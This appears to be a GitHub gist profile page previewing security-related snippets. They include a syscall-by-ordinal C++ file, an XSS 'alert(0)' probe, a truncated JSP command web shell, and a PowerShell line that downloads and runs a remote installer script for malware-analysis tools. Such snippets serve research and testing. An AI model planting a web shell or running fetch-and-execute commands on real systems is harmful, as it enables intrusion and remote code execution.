Skip to content

Instantly share code, notes, and snippets.

View AlirezaChegini's full-sized avatar
😁
I may be slow to respond.

nimaarek AlirezaChegini

😁
I may be slow to respond.
View GitHub Profile
@AlirezaChegini
AlirezaChegini / syscalls.cpp
Created May 2, 2021 11:55 — forked from qtkite/syscalls.cpp
calling x64 bit syscall with their ordinals
// make syscalls from their ordinals
#include <Windows.h>
#include <stdio.h>
#include <cstdint>
#include <vector>
struct syscall_bytes {
uint8_t
header[0x4] ,
@AlirezaChegini
AlirezaChegini / JSSnippets.txt
Last active May 24, 2020 22:05
Gist to store JS Snippets
alert(0);
#!/bin/sh
# Make an android app debugabble and reinstall
set -ex
DNAME="CN=Ross Patterson, OU=me, O=rpatterson.net, L=San Francisco, ST=CA, C=US"
PACKAGE_RE='^package:(/data/app/([^-]+)-.+==/(.+.apk))=.+'
MANIFEST_RE='(<application [^>]+)>'
export PATH=$HOME/Android/Sdk/platform-tools:$PATH
@AlirezaChegini
AlirezaChegini / extract-attachments.py
Created October 30, 2019 21:26 — forked from stefansundin/extract-attachments.py
Extract attachments from emails that Gmail doesn't allow you to download. This is dumb. Please use Python >= 3.4.
#!/usr/bin/env python3
# Get your files that Gmail block. Warning message:
# "Anti-virus warning - 1 attachment contains a virus or blocked file. Downloading this attachment is disabled."
# Based on: https://spapas.github.io/2014/10/23/retrieve-gmail-blocked-attachments/
# Instructions:
# Go to your emails, click the arrow button in the top right, "Show original", then "Download Original".
# Move the files to the same directory as this program, then run it.
import email
@AlirezaChegini
AlirezaChegini / cmd.jsp
Created April 28, 2019 16:10 — forked from nikallass/cmd.jsp
Simple JSP cmd shell
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
@AlirezaChegini
AlirezaChegini / boxstarter_oalabs_x86vm.ps1
Created February 4, 2019 22:56 — forked from OALabs/boxstarter_oalabs_x86vm.ps1
Boxstarter - One click malware analysis tools installer for 32bit VM
Set-ExecutionPolicy Unrestricted;
iex ((New-Object System.Net.WebClient).DownloadString('http://boxstarter.org/bootstrapper.ps1'));
get-boxstarter -Force;
Install-BoxstarterPackage -PackageName 'https://gist.githubusercontent.com/OALabs/afb619ce8778302c324373378abbaef5/raw/4006323180791f464ec0a8a838c7b681f42d238c/oalabs_x86vm.ps1';

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name:

### Keybase proof
I hereby claim:
* I am alirezachegini on github.
* I am nimaarek (https://keybase.io/nimaarek) on keybase.
* I have a public key ASA5sdHNQUh2Jz65NhUSD-g9mbFtkJAeEGzRfuBbateZrAo
To claim this, I am signing this object: